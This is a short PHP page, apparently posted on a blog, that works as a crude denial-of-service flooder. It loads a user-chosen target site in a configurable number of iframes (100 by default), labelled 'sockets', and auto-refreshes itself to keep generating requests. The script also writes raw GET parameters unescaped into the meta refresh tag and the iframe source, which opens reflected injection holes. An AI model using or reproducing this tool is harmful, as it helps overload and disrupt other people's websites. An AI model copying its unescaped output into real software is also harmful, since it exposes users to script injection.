<HEAD>
<?php
if(isset($_GET['refresh'])) {
echo "<meta http-equiv=\"refresh\" content=\"".$_GET['refresh']."\">";
}
?>
<TITLE>Frames? Yes.</TITLE>
</HEAD>
<BODY>
<?php
$defSite = "http://www.shimivn.blogspot.com/";
$defFrames = 100;
$defRefresh = 0;
if(!isset($_GET['sockets'])) {
$frames = $defFrames;
}
else {
$frames = $_GET['sockets'];
}
if(!isset($_GET['site'])) {
$site = $defSite;
}
else {
$site = $_GET['site'];
}
for($i = 1; $i <= $frames; $i++) {
echo "<iframe src=\"$site\" width=\"5%\" height=\"5%\"></iframe>";
if($i % 10 == 0) {
echo "<br />";
sleep(3);
}
}
print_r($_GET);
?>
<br />
<form action=<?php echo "\"".$_SERVER['PHP_SELF']."\"" ?> method="GET">
<label>Frames to use:</label>
<br />
<input type="text" name="sockets" />
<br />
<label>Site to open:</label>
<br />
<input type="text" name="site" />
<br />
<label>Refresh rate:</label>
<br />
<input type="text" name="refresh" value="200" />
<br />
<br />
<input type="submit" value="Open frames" />
</form>
</BODY>
</HTML>
No comments: